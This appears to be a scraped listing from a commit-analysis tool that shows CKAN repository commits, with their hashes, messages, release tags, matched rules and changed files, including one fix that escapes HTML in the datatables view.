      Merge pull request #8405 from ckan/backport-8404-to-dev-v2.11 [Backport dev-v2.11] Update docs with notices regarding DataPusher and ckanext-scheming
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #8404 from ckan/doc-notices Update docs with... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 25cbcb9d69b2128a40f28c37bfd44a053e43a715 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8404
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #8404 from ckan/doc-notices Update docs with notices regarding DataPusher and ckanext-scheming
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #8401 from ckan/extras-string compatibility fix... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - cb8424d9e778ab91d081a19ec41b9010ab7fac98 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8401
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #8401 from ckan/extras-string compatibility fix for jsonb extras feature
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [#8395] remove owner_org with '' - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 71ed8c07f320ad9fc3c6b2202edff415652707f4 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8395
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [#8395] remove owner_org with ''
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckanext/activity/tests/test_changes.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #8403 from ckan/backport-8264-to-dev-v2.11... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: ckan-2.11.0 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - ff654d8523fc1e569d3abea33a5604634842268a -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8403
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #8403 from ckan/backport-8264-to-dev-v2.11 [Backport dev-v2.11] add missing head_extras block
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Escape data in datatables view - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: ckan-2.11.0 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - -
    -
    -
    -
    - - - - -
    -
    -
    - 9e89ce8220ab1445e0bd85a67994a51d9d3d2688 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Escape data in datatables view
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckanext/datatablesview/blueprint.py - - ckanext/datatablesview/tests/test_ajax.py - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #8402 from ckan/backport-8397-to-dev-v2.11... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: ckan-2.11.0 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - e39016302b5bc11b3c26c1d2b87e19c557261caa -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8402
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #8402 from ckan/backport-8397-to-dev-v2.11 [Backport dev-v2.11] New `ckan config docs` command, Markdown serialiazer
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Add new `ckan config docs` command That generates the human-readable... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: ckan-2.11.0 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - -
    -
    -
    -
    - - - - -
    -
    -
    - 9f9604d85bab78b8d3582b930e5c19d5e4d35a8f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Add new `ckan config docs` command That generates the human-readable documentation that can be inserted in the docs or a README. Accepts a -f / --format flag to output rst (default) or markdown. (cherry picked from commit 7e36626376b087dc07f92f01ed166037e4abd18b)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/cli/config.py - - ckan/tests/cli/test_config.py - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Add Markdown serializer for config declaration This will be useful... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: ckan-2.11.0 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - -
    -
    -
    -
    - - - - -
    -
    -
    - 480f731894e518a0fb43aa9b873109b2a00aa2c6 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Add Markdown serializer for config declaration This will be useful for extensions to generate their config documentation, as they generally use Markdown READMEs (cherry picked from commit 73731e6b926d24ce8b9c388340334021ebb22879)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/config/declaration/__init__.py - - ckan/config/declaration/serialize.py - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [#8395] index test fixes - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 12f6cc8656b4be6d79e11cfd7cdf7c4f52ef9796 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8395
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [#8395] index test fixes
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/tests/lib/search/test_index.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [#8395] package_show use_default_schema=both - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - cb4859390e0390c73007ebdd0e40658f354c71ed -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8395
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [#8395] package_show use_default_schema=both
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/lib/search/index.py - - ckan/logic/__init__.py - - ckan/logic/action/create.py - - ckan/logic/action/delete.py - - ckan/logic/action/get.py - - ckan/logic/action/update.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #8341 from JVickery-TBS/feature/dt-qol Datatables... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3179b4fe19d67ff58418acf112d92370f73c4a68 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8341
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #8341 from JVickery-TBS/feature/dt-qol Datatables form UI Improvements
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #8397 from ckan/config-declaration-md New `ckan... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 0f76f0315fa0a8cfda013d9ecce03e6531ddd5b7 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8397
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #8397 from ckan/config-declaration-md New `ckan config docs` command, Markdown serialiazer
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #8398 from ckan/line-lenght More lenient line... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - b66400c984db7ae6adb6e206e446bd80f6cb09be -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8398
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #8398 from ckan/line-lenght More lenient line length setting for linting
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [#8395] reindex on delete/purge group/org - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - df8a0296d8d159c2446a79f68daea0d7524a5c00 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8395
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [#8395] reindex on delete/purge group/org
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/logic/action/delete.py - - ckan/tests/logic/action/test_get.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [#8395] index modifies parameter, make copy - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 2a3e90f21f414ce6fe7b0de1ff34961b8681d5be -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8395
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [#8395] index modifies parameter, make copy
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/lib/search/index.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Do not use default: none in config declaration (cherry picked from... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: ckan-2.10.5 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - -
    -
    -
    -
    - - - - -
    -
    -
    - 1fe3b3f220f9979c0b9fb901683d88d510ac2693 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Do not use default: none in config declaration (cherry picked from commit 5af050101ec0b0138184684192a100c99842b332)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/config/config_declaration.yaml - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #7934 from... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - bebe9ee9e899a84c92eb2cbad0e26ca285345950 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 7934
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #7934 from TomeCirun/7723-fix-users-email-not-unique [7723]Fix user's email is not unique
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - chore: rename changelog fragment - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - c1de2498f49562dd85d079fe717610ba714437d6 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      chore: rename changelog fragment
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - changes/8410.feature - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - chore: use table name to check table existence - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - e5e9952ebd9ffef0a3ce2b58b262d7892ba51e62 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      chore: use table name to check table existence
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/model/__init__.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - chore: add changelog entry - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 63bb88a28bda749769c81f92d6f40080bce8219b -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      chore: add changelog entry
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - changes/8410.feat - - ckanext/activity/logic/auth.py - - ckanext/activity/model/activity.py - - ckanext/datastore/backend/postgres.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - chore: disable SQLAlchemy v2 migration warnings - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 7b4719730d946ed1a3704c0537873997e4c450b4 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      chore: disable SQLAlchemy v2 migration warnings
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - pyproject.toml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Add initial workflow to push to testpypi - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - a2e52799a4f456c09b9089a96e0b7ba8ee7ea487 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Add initial workflow to push to testpypi
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - .github/workflows/publish-pypi.yml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update version for 2.10.6b0 - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 5708b61996f4040e38df0d4e4693e6a564fd5a74 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Update version for 2.10.6b0
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/__init__.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update version for 2.11.0b0 - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 2d44fb183b3c2ad112270b381812e42e9bc1001a -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Update version for 2.11.0b0
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/__init__.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge branch 'dev-v2.10' into 2.10 - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - a829110608eab7ed354074d4ecd9b84b2bad484c -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Merge branch 'dev-v2.10' into 2.10
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update version for 2.11.0 - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: ckan-2.11.0 -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 710dfff718859ff284f0e9feee70c1ecfc86677a -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Update version for 2.11.0
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/__init__.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update version for 2.10.5 - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: ckan-2.10.5 -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 66abe426634625b9cad7a67728e481f554436412 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Update version for 2.10.5
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/__init__.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge branch 'dev-v2.10' into 2.10 - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 193bfc54e53300c75a0166eae0d413002fdae9d4 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Merge branch 'dev-v2.10' into 2.10
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Add test for convert_to_extras scenario - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 2f37de46256c460eabeb504563327c6e86b8e95c -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Add test for convert_to_extras scenario
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckanext/example_idatasetform/plugin_v5.py - - ckanext/example_idatasetform/tests/test_example_idatasetform.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - simplify default_show_extras_schema - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 295115b3f32d081b3b2824188b6a49a73006a3a6 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      simplify default_show_extras_schema
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/logic/schema.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - force str in convert_to_extras too - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - dc47268069ddf514c834a24290921a6d2d28a7ab -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      force str in convert_to_extras too
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/logic/converters.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge branch 'master' of github.com:ckan/ckan - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 07e89bfa1baad76d3afdb5f9b889187a58b50bb3 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Merge branch 'master' of github.com:ckan/ckan
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - changelog - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 9d70d10924467b7ab3846cf83770eb06146e653b -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      changelog
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - changes/8264.misc - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Add the body_extra block back - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 2e0528468dd3bc0dd867798332069d2d88375385 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Add the body_extra block back
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/templates/base.html - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge commit from fork html escape datatables cells - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 20a46fd764ae83178a0d2010bdb227f64a86e9ae -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Merge commit from fork html escape datatables cells
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Lint, changelog (cherry picked from commit... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: ckan-2.11.0 -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 037a8b4a9512cbb8a39132196f5d72f1aec417c3 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Lint, changelog (cherry picked from commit c15e7a12556ec228fadbdbd562d69e3d0c3146f2)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - changes/8397.misc - - ckan/cli/config.py - - ckan/config/declaration/__init__.py - - ckan/config/declaration/serialize.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Add test case for direct non-string extras - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 830f4fefee10234c1c903e2dd24d080555884d95 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Add test case for direct non-string extras
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/tests/logic/action/test_create.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - remove unused import - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: ckan-2.10.5 -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 3ffdc55caaab10dbb10b62e75a881a9596e2c50c -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      remove unused import
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/plugins/toolkit.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - More lenient line length setting for linting - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 4b52050a135bfc9a6e1b524e4e243fd707e307ac -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      More lenient line length setting for linting
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - .flake8 - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Lint, changelog - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - c15e7a12556ec228fadbdbd562d69e3d0c3146f2 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Lint, changelog
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - changes/8397.misc - - ckan/cli/config.py - - ckan/config/declaration/__init__.py - - ckan/config/declaration/serialize.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Fix types - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: ckan-2.10.5 -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - d586c43b99f858a4169790854b36af9069f84ad6 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Fix types
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/lib/app_globals.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Fix version handling in docs configuration Remove completely our own... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: ckan-2.10.5 -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 3923051e92d692d3e1fe10ee03622dffea6324d2 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Fix version handling in docs configuration Remove completely our own version parsing and rely on the one from packaging. Older versions of packaging used to be more lenient with our release tags ("ckan-x.y.z") but now they will fail. We need to remove the `ckan-` bit before parsing.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - doc/conf.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - remove comma - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: ckan-2.11.0 -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 04fc7ea09b54fda37d8364ef5911c03540de47c3 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      remove comma
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/tests/logic/test_validators.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - add tests, changes file - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: ckan-2.11.0 -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 55166496cdc65378bf5e7b895e2d6c904526a169 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      add tests, changes file
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - changes/7723.changes - - ckan/tests/logic/action/test_create.py - - ckan/tests/logic/test_validators.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - remove breakpoint - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: ckan-2.11.0 -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 58823d943e8b907c6abd639130f7716399818f22 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      remove breakpoint
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/logic/validators.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge branch 'dev-v2.11' of github.com:ckan/ckan into dev-v2.11 - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: ckan-2.11.0 -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 6d42e1c93e4e74813edd411025bdf15e8243bb06 -
    -
    - - - - Open commit - -
    -
